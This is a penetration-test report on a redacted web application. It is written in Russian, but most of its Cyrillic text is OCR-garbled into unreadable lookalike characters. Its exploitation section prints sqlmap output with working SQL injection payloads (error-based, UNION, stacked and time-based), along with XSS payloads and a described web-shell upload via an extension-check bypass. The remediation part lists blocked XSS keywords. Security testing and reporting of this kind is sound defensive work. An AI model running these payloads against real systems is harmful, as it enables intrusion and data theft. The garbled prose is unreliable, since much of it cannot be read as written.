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1. BBeaenmue.

lens maHHOTO aHaNW3a - CUMYJSIIHS aTaKd IMOTCHIIMAIBLHOTO 3JIOYMBINUICHHWKA Ha BeO
MPUIIOKEHHE, OLIEHKA YPOBHSI €ro 3alllMIIEHHOCTH, OOHapyKeHHE YS3BUMOCTEN, aHaIu3 U pa3paboTka
PEKOMEH/IALMI 110 UX YCTPAHEHHUIO.

1.2. O6vexm mecmuposanus

B mnpouecc TectupoBaHHs ~ HE BKJIIOUCHBl AKTUBHBbIE aTaKd Ha OTKa3 B OOCIy)KHBaHHH,
CTaTUYECKHM aHalIW3 KOZAA, CTPECC TECTUPOBAaHME M colUaibHas uHkeHepus. OLeHKa CepBEpHOro
IPOTrPaMMHOTO OOecredyeHuss U KOH(QUTypalui TakXKe HaXOAWTCS BHE AAHHOTO mpoekra. OObeKToM
TECTHPOBAHUS SIBIISICTCS BeO MpHtokeHne http://Xxxxxxx.ru .

1.3. Ocnoenasn knaccuguxayus

Kaxoif ys3BMMOCTH, OOHapy)KEHHOW B XOJi€ IPOBEACHUS TECTUPOBAHUS, IPHCBAUBACTCA
oTpe/iesieHHast CTENeHb pucka. Kpurepnuu naHHON KitacCUpUKaNy yKa3aHbl HUXKE.

VSI3BUMOCTH TIPUCBAMBAETCsl BBICOKAsi CTENEHb PHCKA, €CJIM €€ HCIOJIb30BaHHE MOXKET
IMPUBCCTHU K KOMIIPOMECTALIUN JAHHBIX, TOCTYITHOCTU CCPBCPA UJIU CECPBHUCOB, BLINTOJITHCHUIO
MIPOM3BOJIBLHOTO KOJIa, MAHUITYJISALMH ¢ JaHHBIMU. Crofia jk€ BXOAST ySA3BUMOCTH CBA3aHHBIE
C OTKa30M B OOCITy)KMBaHWH, cl1a0ble WIM CTaHIAPTHBIE TTAPOJIH, OTCYTCTBUE IU(PPOBAHHUSA,
JOCTYII K IPOU3BOJIBHBIM (haiinaM win KOHPHUIAECHIIMATbHBIX JaHHBIX

Cpennnii

VYA3BUMOCTH CpEelHEH CTENEHU PUCKA HE NPUBOAUT HAMPAMYIO K KOMIIPOMETALUM WM
HEaBTOPU30BAHHOMY JIOCTYITy, HO MPEIOCTaBISAIOT BO3MOXKHOCTH WJINM HH(pOpMAIHIO,
KOTOpass MOXET OBbITh HCIOJIb30BaHAa IMOTEHIHAIbHBIM  3JI0YMBIIUICHHUKOM IS
JNAIbHEHIIETO MCHOJB30BAHMS B COBOKYIIHOCTM C JPYIMMH  YSI3BHUMOCTSAMH IS
KOMIpOMeTaluu pecypca. Hampumep He3aluIIeHHBIH JOCTYI K HEKPUTHUHBIM (paiiinam,
JIUCTUHT HEKPUTUYHBIX TUPEKTOPHI, PACKPBHITHE MOJIHBIX MyTEH.

Huszkni

Bce ocranpHbIE ySI3BUMOCTH, KOTOPBIE HE MOTYT IIPUBECTH K KOMIIPOMETALUU pecypca, HO
KOTOpBIE MOTYT OBITh HCIOJB30BAaHBI MOTEHIMAIBHBIM 3JI0YMBINUIEHHUKOM, MJisi cOopa
uHpopmaluu, GOpMUPOBAHUN BEKTOPOB aTaku U T.1.




2. O030pHDBIH OTYET.

2.1. Obwan ouenka ypoensa 3auiuueHHOCMU
B PE3YILTATE MPOBCACHHOTO TCCTUPOBAHUSA TPHUITIOKCHUEC XXXXXX OIICHHUBACTCA KaK BBICOKO

KPUTUYHOE, TaK KaK ObUIM OOHApyEHbI HECKOJIBKO YSI3BUMOCTEH BBICOKOM CTENEHU pUCKa,
MIO3BOJIAIONIHME MTOYYUTh YAAJICHHBIN JOCTYTI K CEpBEPY M KOH(UICHIINATBHBIM JAaHHBIM.

2.2. Yazeumocmu no ypoeHio pucka.

YA3BUMOCTHM NO YPOBHIO pUCKa

B Boicokas
CpegHsis
B Huskas
CreneHb pucka KosmuecTBo Onucanue
19 JlaHHbIE YA3BUMOCTH OLICHUBAIOTCS KaK BBICOKUE U

HECyT HauOOJbIIYIO yrpo3y. MX skcrutyaraus
MOYKET MPUBECTH K MOTYUYEHHIO YIaJCHHOTO
JOCTYyTIa, BRITIOTHEHUS TIPOU3BOJILHOTO KOJIA
37I0yMBIIIIEHHUKOM, PACKpPhITHE
KOH(pHIEHITHATBHON MH(POPMAIIHH.

Cpennss 6 VA3BUMOCTH UMEIOT OIPaHUYEHHOE BO3EHCTBUE,
OJHAKO MOFYT 6BITI) HUCITIOJIB30BAaHbI I nonyquI/m
YYBCTBUTEIHHOU MH(OPMAIIUU U B COBOKYITHOCTH C
I[pyrI/IMI/I YﬂSBHMOCTﬂMH ITIO3BOJISIT l'IOJ'Iy‘-II/ITB
yAAJI€HHBIA JOCTYII.

4 He HecyT peasibHOM yrpo3bl, HO MOTYT OBITh
WCTOJIb30BaHbI A7 cOopa uH(popmanuy,
(hopMHpPOBaHUU U PA3BUTUU BEKTOPOB aTaKH.

2.3. Yazeumocmu no Kaaccugpukayuu

Jis  onmcaHusT CTEMEHM pPHCKAa ¥ OLEHKHM KPUTHYHOCTH OOHApPY)KEHHBIX YSI3BUMOCTEH
ucnonb3ytores knaccupukanuu “The Common Vulnerability Scoring System (CVSSv2)”, MITRE
(CAPEC) u OWASP.



Tun

KoaudecTBo CreneHnb

DUCKA

Unrestricted upload

SQL Injection

Cross-Site Scripting (XSS)

Data Manipulation

CSRF

Cleartext submission of
password

— = N[OV | [N

Sensitive information
disclosure

\9)

Weak Password restore

Cpenunsns

Full Path Disclosure

Cpennsisi

Frameable response

Cpennsis

Cookie without HttpOnly flag
set

—_| =N =

Insecure authentication

—_—

Frameable response (potential
Clickjacking)

Content type incorrectly stated

3. OT4eT MO yA3BUMOCTSHIM.

3.1. Yazeumocmu no muny.

Unrestricted
upload

Kparkoe onucanue

[ToreHumanbHbIIA
37I0YMBILIIEHHUK MOYKET
000MTH CKPUNT MIPOBEPKHU
paciIpeHust 3arpyxaeMoro
¢aiina, 4TO MO3BOIUT EMY
3arpy3uTh BeO-1IeII,
MOJTYYHUTh KOHTPOJb HaJl
HNPUIOKEHUEM U IOCTYI K

cepBepy.

CnoXHOCTb SKCIUTyaTalluu
— JIETKO
Tun - ynanensas

Bo3neiict
BHE
(CVSSv2)

Busnecc
BO3/J€HCT
BHE

Ccpuikn Ha KiIaccuduka-
HHIO M ONHCAHUE

CWE-434: Unrestricted
Upload of File

http://cwe.mitre.org/data/de
finitions/434.html

OWASP Unrestricted File
Upload
https://www.owasp.org/ind
ex.php/Unrestricted File U

pload

ID ysizBuMo-
CTH

CWE-434:
Unrestricted
Upload of File
with Dangerous
Type

OWASP

Unrestricted
File Upload



https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
http://cwe.mitre.org/data/definitions/434.html
http://cwe.mitre.org/data/definitions/434.html

CrnoxxHOCTb OOHApPYKEHUS —
JIETKO

SQL Injection

Artaka ocHBaHa Ha
BHEJIPEHUU KOjla, KOT/Ia
KOHTPOJIUPYEMBIC
OJIB30BATEIIEM MTapaMeTPhI
UCIIOJIb3YIOTCS TIPU
COCTaBJICHUH 3anpocoB K BJ[
HaIpsMyIo.

CnoXHOCTb SKCIUTyaTalluu
— JIETKO

Tun - ynanensas
CnoxxHOCTb OOHApPYKEHUS —
JIETKO

XSS Cross-Site
Scripting

MexcaliToBo€e BBITIOJITHEHHE
CIICHApHs - TUII Y5I3BUMOCTH
, CBSI3aHHBIN C aTaKoH
BHe/IpeHUsI Kojia
BBIIOJIHSIEMOT'O C ITOMOIIIBIO
crieLiaabHO
cchOpMUPOBaHHBIX 3alIPOCOB
K TPUIOYKEHUIO U
repelaHHbIX KOHEYHOMY
T10/Ib30BaTe/It0-)KePTBe.

CnoXHOCTb SKCIUTyaTaluu
— JIETKO

Tun - ynanensas
OOHapy)eHHE — JIETKO

Data
Manipulation

VS3BUMOCTH CBsI3aHa C
MaHHITYTHPOBAHUEM
KOHTPOJIUPYEMOTO
HOJIb30BATENIeM apaMeTpa.
Kak pe3synbprar MoxxeT
MPUBECTH K
MOIIEHHUYECKUM
JEHCTBUSM TIPH TTOKYTIKE
toBapa(dpon), U3MEHEHHE
CTOMMOCTH, TIOZIMEHA
JAHHBIX U.T.J.

CnoXHOCTb IKCIUTyaTalluu
— JIETKO

Tun - ynanennas
CroxxHOCTb OOHApPYKEHUS —

OWASP SQL Injection: OWASP top 10
https://www.owasp.org/ind Al Injection
ex.php/SQL _Injection CWE.89:
Public exploit: Improper
http://www.exploit- Neutralization
db.com/exploits/22877/ | ©f Special
Elements used
CWE-89: Improper in an SQL
Neutralization of Special Command
Elements used in an SQL
Command ('SQL Injection")
http://cwe.mitre.org/data/de
finitions/89.html
A2-Cross-Site scripting OWASP Top10
https://www.owasp.org/ind | A3 Cross-Site
ex.php/Cross- Scripting (XSS)
site_Scripting (XSS) CWE-79:
CWE-79: Improper Improps:r .
oo Neutralization
Neutralization of Input :
. of Input During
During Web Page
G . Web Page
eneration :
Generation

http://cwe.mitre.org/data/de

finitions/79.html

Parameter Manipulation:

http://www.cgisecurity.com
/owasp/html/ch11s04.html

OWASP top 10
Al Injection



http://www.cgisecurity.com/owasp/html/ch11s04.html
http://www.cgisecurity.com/owasp/html/ch11s04.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS
http://cwe.mitre.org/data/definitions/89.html
http://cwe.mitre.org/data/definitions/89.html
http://www.exploit-db.com/exploits/22877/
http://www.exploit-db.com/exploits/22877/
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/SQL_Injection

JICTKO

Sensitive
information
disclosure

PackpeiTue
YYBCTBUTEIBHBIX JAHHBIX
MOKET MO3BOJIUTH
MOTEHIINATHLHOMY
37I0yMBIIJIEHHUKY BBISBUTD
HWHTEPECYIOIIUE MapaMeTphl,
IyTH JI0 KaTaJoroB, 3aKa3bl
U ajipeca Apyrux
MOJIb30BaTeNeH 115
OCYIIECTBOCHHUSI PA3IMYHBIX
THUIIOB aTak.

CnoXHOCTb SKCIUTyaTalluu
— JIETKO

Tun - ynanensas
CroxxHOCTb OOHApPYKEHUS —
cpenHsis

CSRF (Cross-
Site Request
Forgery)

Bun atak Ha moceTurtenen
CalTOB, UCTOIb3YOLIUN
HEJOCTAaTK! IPOTOKOJIA
HTTP. Ecin xeprBa
3aXOJIUT Ha CaMT, CO3aHHbBIN
3JIOYMBILIJIEHHUKOM, OT €€
JUA TalHO OTIIPaBISIETCS
3aIrpoc Ha APYrou cepsep
(Harmpumep, Ha cepBep
IIaTEXXHON CUCTEMBI),
OCYLLIECTBISIOMINI HEKYIO
OTepaInio OT UMEHU
MoJIb30BaTeNsi(Hanpumep,
MEepPEBOJ AEHET Ha CUET
37IOYMBIIIICHHUKA).
CnoXHOCTb IKCIUTyaTalluu
— JIETKO

Tun - ynanensas
CnoxHOCTb OOHApYXKEHUS —
CpeHsst

OWASP Information
Leakage
https://www.owasp.org/ind
ex.php/Information [eakag
e

CWE-200: Information
Exposure
http://cwe.mitre.org/data/de
finitions/200.html

CWE-200:
Information
Exposure

AS Security
Misconfiguratio
n

OWASP Top 10 A8 CSRF
(Cross-Site Request
Forgery)
https://www.owasp.org/ind
ex.php/Top_10_2010-AS5
CWE-352 Cross-Site
Request Forgery
http://cwe.mitre.org/data/de
finitions/352.html

OWASP Top 10
A8 Cross-Site
Request
Forgery
(CSRF);
CWE-352
Cross-Site
Request
Forgery



http://cwe.mitre.org/data/definitions/352.html
http://cwe.mitre.org/data/definitions/352.html
https://www.owasp.org/index.php/Top_10_2010-A5
https://www.owasp.org/index.php/Top_10_2010-A5
http://cwe.mitre.org/data/definitions/200.html
http://cwe.mitre.org/data/definitions/200.html
https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Information_Leakage

Weak Password | Beb6 npunoxxenue 4.3 CWE-521: Weak Password | CWE-521:
restore HEZ0CTAaTOYHO TTPOBEPSET Requirements: Weak Password
MOYTOBBIH azipec u http://cwe.mitre.org/data/de | Requirements
KOHTPOJIbHBINA BOIIPOC TMPH finitions/521.html ;
BOCCTAHOBJICHHH MAPOJIS . Wikipedia: Password
C strength
JIO)KHOCTbD IKCILTyaTalluu
— TPYIHO http://en.wikipedia.org/wiki
Tun - ynanennas [Password_strength
CroxxHOCTb OOHApPYKEHUS —
CpenHsis
Full Path Hexkortopsie cTpanuibl BeO 4.0 Full path disclosure CWE-200:
Disclosure MPUIIOKEHUS PACKPHIBAIOT https://www.owasp.org/ind | Information
TTOJIHBIN Ty Th J10 KOPHS ex.php/Full Path Disclosur | Exposure

caiita(webroot), 4T0 MOXET
OBITH UCIIOJIH30BAHO
MOTEHIMATbHBIM
3JIOYMBIIIJIEHHUKOM JIJIST
(dbopMupOBaHUs BEYKTOPOB
aTakwu.

CnoXXHOCTb IKCIUTyaTalluu —
JIETKO

Tun - ynanensas
CnoxHoCTh 0OHApYXKEHUS —
cpenHss

€
Path disclosure
http://vehg.net/lab/pr0js/vie
w.php/path_disclosure vul

nerability.txt

3.2. Exploitation proof.

3.2.1

Unrestricted File Upload

JIro0oii 3aperncTprupOBaHHBIN MOIB30BATENh MOXKET 3arpy’Karh cBoi aBarap. [IpoBepka pacumpeHus
3arpy:xaeMoro Qaiina jgerko 00XoauTcs 100aBIeHUEM HEOOXOAUMOIO paclIMpEHUs B TapaMeTp
file types. [loTeHIMaNBHBIN 3I0yMBIIITICHHUK MOXKET 3arpy3UTh BeO IS Ha CepBep:



http://yehg.net/lab/pr0js/view.php/path_disclosure_vulnerability.txt
http://yehg.net/lab/pr0js/view.php/path_disclosure_vulnerability.txt
http://yehg.net/lab/pr0js/view.php/path_disclosure_vulnerability.txt
https://www.owasp.org/index.php/Full_Path_Disclosure
https://www.owasp.org/index.php/Full_Path_Disclosure
https://www.owasp.org/index.php/Full_Path_Disclosure
http://en.wikipedia.org/wiki/Password_strength
http://en.wikipedia.org/wiki/Password_strength
http://cwe.mitre.org/data/definitions/521.html
http://cwe.mitre.org/data/definitions/521.html
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3.2.2  SQL Injection

3.2.3.1 [TapameTp XXX http:/XXXXXXXX/XXXX/XXX:
B POST 3anpoce napameTp XxX ys3BUM K error-based u union-based SQL injection.

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: search=req_all&searchpar=") AND (SELECT 6917 FROM(SELECT COUNT
(*),CONCAT(0x3a6d6e663a,(SELECT (CASE WHEN (6917=6917) THEN 1 ELSE 0
END)),0x3a7765643a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
('GIST'="GJST&search=all&hide_some=0&date_from=&date_to=



Type: UNION query

Title: MySQL UNION query (NULL) - 12 columns

Payload: search=req_all&searchpar=") UNION ALL SELECT
CONCAT(0x3a6d6e663a,0x444b51596a7943506e55,0x3a7765643a), NULL,NULL,NULL,NULL,NU
LL,NULL,NULL ,NULL,NULL,NULL,NULL#&search=all&hide_some=0&date_from=&date_to=

[06:25:54] [INFO] POST parameter ' ' is "MySQL UNION query (NULL) - 1
to 20 columns' injectable
POST parameter ' ' is vulnerable. Do you want to keep testing the othe
rs (if any)? [y/N]
sqlmap identified the following injection points with a total of 31 HTTP(s) requ
ests:
Flace: POST
Parameter:

Type: error-based

Title: MySQL == 5.0 AND error-based - WHERE or HAVING clause

Payload: searchKey=req all&searchValue=') AND (SELECT €517 FROM(SELECT COUNT
(*) ,CONCAT (Gx3abdbebt3a, (SELECT (CASE WHEN (6917=6517) THEN 1 ELSE @ END)),0x3a7
7656438, FLOOR(RAND (@) *2) ) x FROM INFORMATION SCHEMA.CHARACTER SETS GROUP BY x)a)
AMD | (! GJST'='GIS5Tasearch =allihide some=0&date from

Type: UNION guery
Title: MySQL UNION query (NULL) - 12 columns
Payload: =req_allbsearc UNTON ALL SELECT COMNCAT(@x3a6d6ebs

a) ,MULL,NULL ,NULL ,NULL ,NULL , NULL, NULL ,NULL,

TEEE

Title: MySQL = 5.08.11 stacked gueries

Payload: search =req allb&search : SELECT SLEEP(5) -- &searchType=al
&hide some=0&date from=

web application technology: Apache
back-end DBMS: MySOL == 5.0.0

available databases [2]:
[*] |information_schema
_main

5:28:16] [WARNING] HTTP error codes detected during run:
B0 (Internal Server Error) - & times




3.2.3.3 URI napameTp XxxXX B http://XXXXXX/XXXX/XXX

Place: URI
Parameter:
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: http:/xxxxx/xxx/xxx 397 AND (SELECT 7896 FROM(SELECT
COUNT(*),CONCAT(0x3a7564643a,(SELECT (CASE WHEN (7896=7896) THEN 1 ELSE 0
END)),0x3a7466623a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: http://xxxxx/xxxx/xxx/397; SELECT SLEEP(5)--

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://xxxxx/xxxx/xxx/397 AND SLEEP(5)

wing injection points with a total of 0 HTTP(s) reque

\ .11 stacked queries
Payload: Http:/, '397; SELECT SL
EER(5) --

ype: AND/OR time-based blind
: = 5.0.11 AND time-based blind

AND SLEEP(

TeMm cambIM 3/IOyMBIIIJIEHHUK MOXET I10/IyUUTh TTOJTHBIN AaMIT 0a3bl AaHHBIX, paCI_HI/ICl)pOBaTb
X311 MapoJid B aIMUHUCTPATUBHYIO ITaHEe/Ib U ITO/IyYUTh TIOJTHBIN KOHTPOJIb Ha/| TIPUJIOKEHHEM.

3.2.4 Cross Site Scripting (XSS)

11


http://xxxxx/xxx/xxx

3.2.4.1 REST URL IlapameTpsl
MmuoxectBo rnapametrpoB REST URL konupytrorcs BHyTps Teia HTML nokymeHTa Kak TeKCT

6e3 hunbTpauu MeXay TIraMu.

[ Jbilling }CscripbaLert{'heLLo'}(lscriptb "

ost Visited~ [l Offensive Security %, Kali Linux “%, Kali Docs ﬂExpLait-DB ﬁAircrack-ng

[@  Configuration4 9e30<img src¥3da onerror%Sdalert('guysh)

ost Visited~ [l Offensive Security " Kali Linux “& Kali Docs ﬂExplcit—DB wAircrack—ng

@ /documents<script>alert(its')</script=/get .id=350

lost Visited™~ [l Offensive Security S, Kali Linux "% Kali Docs ﬂExanit—DB ﬁAircrack—ng

12



B [@ paces<script=alert('xss’)</script>/ n

|Most Visited™~ [l Offensive Security %, Kali Linux & Kali Docs ﬂExpLoit—DB ﬁAircrack—ng

[NoTeH1MaIbHBIN 3/10YMBILLJIEHHUK MOXKeT UCII0/Ib30BaTh JJaHHbIe YSI3BUMOCTH JIJIsT KpaXku
cookies, BbIMIOTHEHUST KO/Ia, IOTUPOBAHUS [IeHCTBUI M0/Ib30BaTelel.

13



4. Il;1aH M0 yCTPaHEHMIO.

Ya3BUMOCTH

eoe

XSS Cross-Site
Scripting

PexomMmenganuu

BxonHble naHHBIE TONB30BATENsl JOJDKHBI CTPOTO
MPOBEPSTHCS HA CTOpOHE cepBepa. Harmpumep
rapaMeTp MUMeHHU [JOJDKeH COZlep>KaThb TOJIBKO OYKBBI,
roJ| poXKJeHusi — TonbkO 4 1upsl U T.74. [TapameTpsl,
He  YIOB/ETBODSIIOLIME  YC/IOBUSIM  JJO/DKHBI
OTK/IOHSTbCSI ~ LIeJIMKOM, a He  OTYMILIAThCS.
[Monb30BaTeNbCKUe — MapaMeTpbl  JO/DKHBI  OBITH
kopupoBanel B HTML Tam rze oHM BO3BpaljaroTCs
Haszaj oOT cepBepa. Bce crneuuansHeie HTML
cumBoJIbl, BKmodas ([D){}< >"" =, mo/mKHbI OBITH
3ameHeHbl Ha HTML entities (&It; &gt; etc).
3ampeTvTe WCIO/Ib30BaHUe C/IOBOCOUeTaHWi alert,
prompt, onerror,<div,<a,
%3c,iframe,onmouseover,onload,onready,object,href
. Bocrionb3yiiTech coBeTamu pa3paboTumKa JaHHOTO
¢bpeliMBOpKa.

[Honrocpounble MeponpusiTusi:  (UILTPyHTE BCe
HEUCTojb3yeMble B TapaMeTpax  CUMBOJIBI.
YcraHoBUTE M HacTpoWTe mpaBuiaa nAas  Web
Application Firewall

CcbLiku:

https://www.owasp.org/index.php/XSS

%28Cross_Site_Scripting
%29 Prevention Cheat Sheet

http://nickcoblentz.blogspot.com/2009/01/owasps-
xss-prevention-cheat-sheet.html

14



http://nickcoblentz.blogspot.com/2009/01/owasps-xss-prevention-cheat-sheet.html
http://nickcoblentz.blogspot.com/2009/01/owasps-xss-prevention-cheat-sheet.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

5. Kypmuau.

» Jlara TeCTUPOBAHMUSL:
*  OObekT TecTupoBanus: http://xxxx/
* Meron tectupoBanus: Black box.

e HUcnone3yemoe I1O: Nmap, Burp suite, Owasp Zap, sqlmap.
e HcnosHuTens:

15



6. BuiBo.

I[aHHblﬁ AHAaJIU3 6asupyeTcs1 HAa TEXHOJJIOIusiIX M M3BECTHBIX YA3SBUMOCTAX HA MOMCHT
NMpoBE€ACHUSA TECTUPOBAaHU. Mus1 COBETYEM CJI€A0BAaTh PEKOMEHIANUAM YKa3aHHbBIM B
HACTOALIEM OTUYETE B MOPHAIKE U CTCIICHU KPUTHYHOCTHU yﬂ3BHMO0T€I71.

B 3akiiioueHune X0TuM 100aBUTh, YTO NMPHUJI0KEHHE MOABEPKEHO BBICOKOI CTeNeHH PHCKA,
YTO MOKET NPHBECTH KAK (PMHAHCOBHIM TaK M PeNyTAlMOHHBIM TparaM. MeponpusTus 1o
YCTPAHEHHIO He CJIeyeT OTKJIAAbIBATD.

Tak:xke MbI KpaiiHe peKOMeHJyeM IpPOBeCTH IOBTOPHOe TeCTHPOBaHHWE calTa, mocJie
NpPoBe/JAeHNs] YKA3aHHBIX Bblllle Meponpusituili. Tem caMbIM BbI CMOKeTe y0eIMTBHCH, YTO BAIl
pecypc 0oJiee He MOABeP:KeH MOAO0OHBIM PHCKAM, MEPONIPUATHS BbINOJHEHbI BEPHO.
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